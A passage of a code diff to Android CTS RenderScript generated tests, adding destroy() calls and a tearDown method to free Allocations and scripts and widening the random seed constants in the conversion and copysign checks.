             script.forEach_testConvertHalf2Ushort2Half2(inV, out);
             verifyResultsConvertUshort2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Ushort2Half2: " + e.toString());
         }
@@ -24481,9 +25533,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Ushort2Half2(inV, out);
             verifyResultsConvertUshort2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Ushort2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -24541,11 +25595,12 @@
     }
 
     private void checkConvertUshort3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x915e9d12l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x8d7990dd915e9d12l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Ushort3Half3(inV, out);
             verifyResultsConvertUshort3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Ushort3Half3: " + e.toString());
         }
@@ -24553,9 +25608,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Ushort3Half3(inV, out);
             verifyResultsConvertUshort3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Ushort3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -24613,11 +25670,12 @@
     }
 
     private void checkConvertUshort4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xf0666206l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x8d799b7ef0666206l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Ushort4Half4(inV, out);
             verifyResultsConvertUshort4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Ushort4Half4: " + e.toString());
         }
@@ -24625,9 +25683,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Ushort4Half4(inV, out);
             verifyResultsConvertUshort4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Ushort4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -24690,11 +25750,12 @@
     }
 
     private void checkConvertInt2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xb6fb0cecl, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xd74f5279b6fb0cecl, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Int2Half2(inV, out);
             verifyResultsConvertInt2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Int2Half2: " + e.toString());
         }
@@ -24702,9 +25763,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Int2Half2(inV, out);
             verifyResultsConvertInt2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Int2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -24762,11 +25825,12 @@
     }
 
     private void checkConvertInt3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x1602d1e0l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xd74f5d1b1602d1e0l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Int3Half3(inV, out);
             verifyResultsConvertInt3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Int3Half3: " + e.toString());
         }
@@ -24774,9 +25838,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Int3Half3(inV, out);
             verifyResultsConvertInt3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Int3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -24834,11 +25900,12 @@
     }
 
     private void checkConvertInt4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x750a96d4l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xd74f67bc750a96d4l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Int4Half4(inV, out);
             verifyResultsConvertInt4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Int4Half4: " + e.toString());
         }
@@ -24846,9 +25913,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Int4Half4(inV, out);
             verifyResultsConvertInt4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Int4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -24911,11 +25980,12 @@
     }
 
     private void checkConvertUint2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xb46f30efl, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xe71d0963b46f30efl, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Uint2Half2(inV, out);
             verifyResultsConvertUint2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Uint2Half2: " + e.toString());
         }
@@ -24923,9 +25993,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Uint2Half2(inV, out);
             verifyResultsConvertUint2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Uint2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -24983,11 +26055,12 @@
     }
 
     private void checkConvertUint3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x1376f5e3l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0xe71d14051376f5e3l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Uint3Half3(inV, out);
             verifyResultsConvertUint3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Uint3Half3: " + e.toString());
         }
@@ -24995,9 +26068,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Uint3Half3(inV, out);
             verifyResultsConvertUint3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Uint3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -25055,11 +26130,12 @@
     }
 
     private void checkConvertUint4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x727ebad7l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xe71d1ea6727ebad7l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Uint4Half4(inV, out);
             verifyResultsConvertUint4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Uint4Half4: " + e.toString());
         }
@@ -25067,9 +26143,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Uint4Half4(inV, out);
             verifyResultsConvertUint4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Uint4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -25132,11 +26210,12 @@
     }
 
     private void checkConvertLong2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xf4d265b9l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xb570c4f5f4d265b9l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Long2Half2(inV, out);
             verifyResultsConvertLong2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Long2Half2: " + e.toString());
         }
@@ -25144,9 +26223,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Long2Half2(inV, out);
             verifyResultsConvertLong2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Long2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -25204,11 +26285,12 @@
     }
 
     private void checkConvertLong3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x53da2aadl, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xb570cf9753da2aadl, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Long3Half3(inV, out);
             verifyResultsConvertLong3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Long3Half3: " + e.toString());
         }
@@ -25216,9 +26298,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Long3Half3(inV, out);
             verifyResultsConvertLong3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Long3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -25276,11 +26360,12 @@
     }
 
     private void checkConvertLong4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xb2e1efa1l, true, 63);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xb570da38b2e1efa1l, true, 63);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Long4Half4(inV, out);
             verifyResultsConvertLong4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Long4Half4: " + e.toString());
         }
@@ -25288,9 +26373,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Long4Half4(inV, out);
             verifyResultsConvertLong4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Long4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -25353,11 +26440,12 @@
     }
 
     private void checkConvertUlong2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x8754723al, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5cfe7e438754723al, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Ulong2Half2(inV, out);
             verifyResultsConvertUlong2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Ulong2Half2: " + e.toString());
         }
@@ -25365,9 +26453,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Ulong2Half2(inV, out);
             verifyResultsConvertUlong2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Ulong2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -25425,11 +26515,12 @@
     }
 
     private void checkConvertUlong3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xe65c372el, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x5cfe88e4e65c372el, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Ulong3Half3(inV, out);
             verifyResultsConvertUlong3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Ulong3Half3: " + e.toString());
         }
@@ -25437,9 +26528,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Ulong3Half3(inV, out);
             verifyResultsConvertUlong3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Ulong3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -25497,11 +26590,12 @@
     }
 
     private void checkConvertUlong4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x4563fc22l, false, 64);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5cfe93864563fc22l, false, 64);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Ulong4Half4(inV, out);
             verifyResultsConvertUlong4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Ulong4Half4: " + e.toString());
         }
@@ -25509,9 +26603,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Ulong4Half4(inV, out);
             verifyResultsConvertUlong4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Ulong4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.java
index e1194fd..26aa4d1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCopysign.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestCopysignRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inMagnitudeValue;
         public float inSignValue;
@@ -44,13 +51,14 @@
     }
 
     private void checkCopysignFloatFloatFloat() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcf086614l, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9d8d3ef5l, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4218ae4ccf086614l, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd95dacad9d8d3ef5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignFloatFloatFloat(inMagnitudeValue, out);
             verifyResultsCopysignFloatFloatFloat(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignFloatFloatFloat(inMagnitudeValue, out);
             verifyResultsCopysignFloatFloatFloat(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloatFloatFloat: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignFloatFloatFloat(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkCopysignFloat2Float2Float2() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x22e9f786l, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x20cec72bl, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8efe093722e9f786l, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb33b4a8420cec72bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignFloat2Float2Float2(inMagnitudeValue, out);
             verifyResultsCopysignFloat2Float2Float2(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignFloat2Float2Float2(inMagnitudeValue, out);
             verifyResultsCopysignFloat2Float2Float2(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloat2Float2Float2: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignFloat2Float2Float2(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkCopysignFloat3Float3Float3() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1b468741l, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc39ab32cl, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9a9db55e1b468741l, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8ec9f3bdc39ab32cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignFloat3Float3Float3(inMagnitudeValue, out);
             verifyResultsCopysignFloat3Float3Float3(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignFloat3Float3Float3(inMagnitudeValue, out);
             verifyResultsCopysignFloat3Float3Float3(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloat3Float3Float3: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignFloat3Float3Float3(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkCopysignFloat4Float4Float4() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x13a316fcl, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x66669f2dl, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xa63d618513a316fcl, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6a589cf766669f2dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignFloat4Float4Float4(inMagnitudeValue, out);
             verifyResultsCopysignFloat4Float4Float4(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignFloat4Float4Float4(inMagnitudeValue, out);
             verifyResultsCopysignFloat4Float4Float4(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignFloat4Float4Float4: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignFloat4Float4Float4(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkCopysignHalfHalfHalf() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9e87c031l, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x523236fcl, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8e7128339e87c031l, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x366d1274523236fcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignHalfHalfHalf(inMagnitudeValue, out);
             verifyResultsCopysignHalfHalfHalf(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignHalfHalfHalf(inMagnitudeValue, out);
             verifyResultsCopysignHalfHalfHalf(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalfHalfHalf: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignHalfHalfHalf(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkCopysignHalf2Half2Half2() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5c704fabl, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa73ce4cal, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5b9a5dd65c704fabl, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa119f9e5a73ce4cal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignHalf2Half2Half2(inMagnitudeValue, out);
             verifyResultsCopysignHalf2Half2Half2(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignHalf2Half2Half2(inMagnitudeValue, out);
             verifyResultsCopysignHalf2Half2Half2(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalf2Half2Half2: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignHalf2Half2Half2(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkCopysignHalf3Half3Half3() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x38955c0l, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf2af1539l, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x13bcaf2d038955c0l, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5bb8caf4f2af1539l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignHalf3Half3Half3(inMagnitudeValue, out);
             verifyResultsCopysignHalf3Half3Half3(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
